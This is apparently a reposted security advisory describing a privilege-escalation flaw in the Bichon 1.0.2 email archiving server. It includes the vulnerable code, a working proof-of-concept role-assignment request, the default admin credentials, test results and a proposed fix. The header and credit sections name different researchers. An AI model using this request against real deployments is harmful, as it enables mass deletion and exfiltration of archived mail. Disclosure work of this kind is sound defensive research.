Share
## https://sploitus.com/exploit?id=PACKETSTORM:221273
Bichon 1.0.2 Vertical Privilege Escalation via Account Role Assignment
    ======================================================================
    
    Vendor:        rustmailer
    Product:       Bichon - self-hosted email archiving server (Rust + TypeScript)
    Project URL:   https://github.com/rustmailer/bichon
    Affected:      All versions through HEAD as of 2026-05-18
                   Commit:  9daab241b0220e81e43d4b98616d77fa45ad58c7
                   Release: 1.0.2 (Docker: rustmailer/bichon:1.0.2,
                            sha256 6a8232f1db4df939cfe28c54661699638d859f5923ff1965aacdabed226c67f0)
    Patched:       Pending vendor fix
    Severity:      High
    CVSS 3.1:      7.6  (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L)
    CWE:           CWE-269 (Improper Privilege Management)
                   CWE-863 (Incorrect Authorization)
    CVE:           Pending (requested via GitHub CNA)
    Discovered:    2026-05-18 (manual source review)
    Researcher:    AoxLir  <eren.demir@razesecurity.com>
    Disclosure:    Coordinated (Project Zero 90-day standard)
    
    
    I. Background
    =============
    
    Bichon is a self-hosted email archiving server written in Rust with a
    SvelteKit frontend. It integrates IMAP fetching, OAuth2 mail providers,
    SOCKS5 proxy support, and a REST API protected by an RBAC subsystem of
    22 granular permissions across 5 built-in roles and an unlimited number
    of admin-defined custom roles.
    
    The vendor README (line 101) states:
    
       "Account-Level Isolation: Grant users access to specific accounts
        with scoped roles. Permissions enforced at the API layer."
    
    The vulnerability documented here directly contradicts that claim.
    
    
    II. Vulnerability Detail
    ========================
    
    The endpoint POST /api/v1/accounts/access/assignments calls
    BatchAccountRoleRequest::do_assign() (crates/core/src/account/grant.rs
    lines 115-154):
    
        pub fn do_assign(self, context: &ClientContext) -> BichonResult<()> {
            for account_id in &self.account_ids {
                let assigned_role_id = context.user
                    .account_access_map.get(account_id)...?;
                let user_scoped_role = UserRole::find(*assigned_role_id)?...?;
    
                // Critical Check: Does this role grant management/sharing rights?
                if !user_scoped_role.permissions
                    .contains(Permission::ACCOUNT_MANAGE) {
                    return Err(...);
                }
    
                // Optional: Ensure manager isn't giving away perms they don't have
                // ^^^ NOT IMPLEMENTED -- the missing check.
            }
    
            Self::grant_batch_account_access(
                self.account_ids, self.user_ids, self.role_id
            )
        }
    
    The check verifies the caller holds Permission::ACCOUNT_MANAGE on every
    target account but does NOT compare the granted role's permissions
    against the caller's own.  Any user holding ACCOUNT_MANAGE on an account
    - a permission an administrator might include in a narrowly scoped
    custom role intended only for sharing/auditing - can therefore grant
    themselves OR any other user the built-in AccountManager role (or any
    arbitrary custom role) on that account, gaining permissions such as:
    
       data:delete         - irreversible mail deletion
       data:raw:download   - exfiltration of raw EML/MIME files
       data:export:batch   - bulk export
       data:import:batch   - injection of forged messages into the archive
       data:smtp:ingest    - abuse of the SMTP ingest pipeline
       data:manage         - metadata tampering
    
    The REST handler (crates/server/src/rest/api/account.rs lines 303-312)
    adds no additional authorization beyond calling do_assign().
    
    
    III. Proof of Concept
    =====================
    
    Tested live against the official Docker image rustmailer/bichon:1.0.2.
    
    Setup
    -----
    
      $ docker run -d --name bichon-poc -p 15630:15630 \
          -v /tmp/bichon-poc/data:/data --user 1000:1000 \
          -e BICHON_ROOT_DIR=/data \
          -e BICHON_ENCRYPT_PASSWORD=poc-pw \
          rustmailer/bichon:latest
    
    Default credentials: admin / admin@bichon
    
    Step 1: Admin creates a custom Account role with restricted permissions
            but containing ACCOUNT_MANAGE:
    
      POST /api/v1/roles
      Authorization: Bearer <admin_token>
      Content-Type: application/json
    
      {"name":"RestrictedAuditor",
       "role_type":"Account",
       "permissions":["account:manage","account:read_details","data:read"]}
    
    Step 2: Admin creates a low-privilege user 'alice', grants her the
            RestrictedAuditor role on an account.
    
    Step 3: Alice logs in and issues the exploit:
    
      POST /api/v1/accounts/access/assignments
      Authorization: Bearer <alice_token>
      Content-Type: application/json
    
      {"account_ids": [<account_id>],
       "user_ids": [<alice_id>],
       "role_id": 200100000000000}
    
      Response: HTTP/1.1 200 OK
    
    (200100000000000 is the built-in AccountManager role ID, returned by
     GET /api/v1/list-roles.)
    
    Verification
    ------------
    
      Alice's permissions BEFORE the call:
        account:manage, account:read_details, data:read              (3 perms)
    
      Alice's permissions AFTER the call:
        account:manage, account:read_details, data:read,
        data:delete, data:export:batch, data:import:batch,
        data:manage, data:raw:download, data:smtp:ingest             (9 perms)
    
      Six new permissions gained, including the high-impact data:delete
      (irreversible mail deletion) and data:raw:download (raw EML export).
      Total elapsed: a single HTTP POST, no errors.
    
    
    IV. Extended Tests
    ==================
    
      * Cross-user promotion: alice (RestrictedAuditor on account A) promoted
        a different user 'bob' (zero account access) to AccountManager on A
        -- HTTP 200.  Confirms lateral movement is possible, not just
        self-promotion.
    
      * Multi-account boundary: alice attempted to escalate on accounts A
        (had access) AND B (no access) in a single request -- HTTP 403
        "No access to account B".  The account-boundary check works
        correctly; only the per-account permission-bound check is missing.
    
      * Arbitrary custom role: alice granted herself an admin-created
        custom role with 9 high-impact permissions (effectively a renamed
        AccountManager) -- HTTP 200.  Refutes any rebuttal that promotion
        is bounded by the built-in AccountManager role.
    
    
    V. Impact
    =========
    
    Authenticated user with the narrowest custom role that contains
    ACCOUNT_MANAGE can:
    
      - Delete all archived messages for the affected account (regulatory
        / forensic impact -- archives are typically subject to legal hold).
      - Exfiltrate raw EML/MIME (PII, business confidential).
      - Inject forged messages into the archive (integrity / chain-of-
        custody compromise).
      - Promote arbitrary other users to AccountManager (lateral movement
        in multi-tenant deployments).
    
    
    VI. Solution
    ============
    
    Add a permission-subset check inside do_assign(), after the existing
    ACCOUNT_MANAGE check:
    
        let target_role = UserRole::find(self.role_id)?
            .ok_or_else(|| raise_error!("Target role not found".into(),
                                        ErrorCode::ResourceNotFound))?;
    
        let extra: HashSet<_> = target_role.permissions
            .difference(&user_scoped_role.permissions)
            .collect();
    
        if !extra.is_empty() {
            return Err(raise_error!(
                format!("Cannot grant permissions you do not hold: {:?}",
                        extra),
                ErrorCode::Forbidden));
        }
    
    For defense in depth, also require Permission::ACCOUNT_MANAGE_ALL at
    the REST handler layer (crates/server/src/rest/api/account.rs:303), so
    that org-wide account sharing requires an administrator.
    
    
    
    VII. Credit
    ============
    
    Discovered and reported by MrOruc, independent security researcher.
    GitHub: https://github.com/MrOruc
    Email:  kerim.oruc@razesecurity.com